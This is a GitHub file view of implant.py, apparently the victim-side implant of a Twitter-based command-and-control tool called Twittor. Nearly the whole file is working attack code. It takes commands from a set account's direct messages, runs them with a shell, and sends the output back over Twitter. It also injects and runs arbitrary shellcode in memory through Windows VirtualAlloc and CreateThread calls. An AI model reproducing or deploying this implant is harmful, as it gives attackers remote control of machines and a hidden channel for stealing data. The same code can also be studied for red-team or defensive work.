-
Notifications
You must be signed in to change notification settings - Fork 216
/
implant.py
205 lines (154 loc) · 5.35 KB
/
implant.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
from tweepy import Stream
from tweepy import OAuthHandler
from tweepy import API
from tweepy.streaming import StreamListener
from uuid import getnode as get_mac
import ctypes
import json
import threading
import subprocess
import base64
import platform
api = None
# These values are appropriately filled in the code
CONSUMER_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
CONSUMER_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
ACCESS_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
ACCESS_TOKEN_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
USERNAME = 'XXXXXXXXXXXXXXXXXXXXXXXX'
MAC_ADDRESS = ':'.join(("%012X" % get_mac())[i:i + 2] for i in range(0, 12, 2))
#
# Exception for Twittor
#
class TwittorException(Exception):
"""
Base exception
"""
def __init__(self, message, errors):
Exception.__init__(self, message)
self.errors = errors
#
# Decoding exception when decoding a message
#
class DecodingException(TwittorException):
"""
Exception when trying to decode a CommandOutput
"""
#
# Class to parse received Command
#
class CommandToExecute:
def __init__(self, message):
try:
data = json.loads(base64.b64decode(message))
self.data = data
self.sender = data['sender']
self.receiver = data['receiver']
self.cmd = data['cmd']
self.jobid = data['jobid']
except:
raise DecodingException('Error decoding message: %s' % message)
def is_for_me(self):
global MAC_ADDRESS
return MAC_ADDRESS == self.receiver or self.cmd == 'PING' and 'output' not in self.data
def retrieve_command(self):
return self.jobid, self.cmd
#
# Class to build Command to send
#
class CommandOutput:
def __init__(self, sender, receiver, output, jobid, cmd):
self.sender = sender
self.receiver = receiver
self.output = output
self.cmd = cmd
self.jobid = jobid
def build(self):
cmd = {'sender': self.sender,
'receiver': self.receiver,
'output': self.output,
'cmd': self.cmd,
'jobid': self.jobid}
return base64.b64encode(json.dumps(cmd))
#
# Execute shellcode on a separate thread
#
class ExecuteShellcode(threading.Thread):
def __init__(self, jobid, shellc):
threading.Thread.__init__(self)
self.shellc = shellc
self.jobid = jobid
self.daemon = True
self.start()
def run(self):
try:
shellcode = bytearray(self.shellc)
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))
except Exception as e:
print e
pass
#
# Execute Command on a separate thread
#
class ExecuteCommand(threading.Thread):
def __init__(self, jobid, cmd):
threading.Thread.__init__(self)
self.jobid = jobid
self.command = cmd
self.daemon = True
self.start()
def run(self):
if (self.command == 'PING'):
output = platform.platform()
else:
output = subprocess.check_output(self.command, shell=True, stdin=subprocess.PIPE, stderr=subprocess.STDOUT)
output_command = CommandOutput(MAC_ADDRESS, 'master', output, self.jobid, self.command)
api.send_direct_message(user=USERNAME, text=output_command.build())
#
# Listener to stream Twitter messages and intercept Direct Messages
#
class StdOutListener(StreamListener):
def on_data(self, status):
try:
data = json.loads(status)
if data['direct_message'] and data['direct_message']['sender_screen_name'] == USERNAME:
try:
cmd = CommandToExecute(data['direct_message']['text'])
if (cmd.is_for_me()):
jobid, cmd = cmd.retrieve_command()
print 'jobid: %s, cmd to execute: %s' % (jobid, cmd)
if (cmd.split(' ')[0] == 'shellcode'):
sc = base64.b64decode(cmd.split(' ')[1]).decode('string-escape')
ExecuteShellcode(jobid, sc)
else:
ExecuteCommand(jobid, cmd)
except:
pass
except:
print 'Did not manage to decode %s' % status
return True
def main():
global api
try:
auth = OAuthHandler(CONSUMER_TOKEN, CONSUMER_SECRET)
auth.secure = True
auth.set_access_token(ACCESS_TOKEN, ACCESS_TOKEN_SECRET)
api = API(auth)
stream = Stream(auth, StdOutListener())
stream.userstream()
except BaseException as e:
print("Error in main()", e)
if __name__ == '__main__':
main()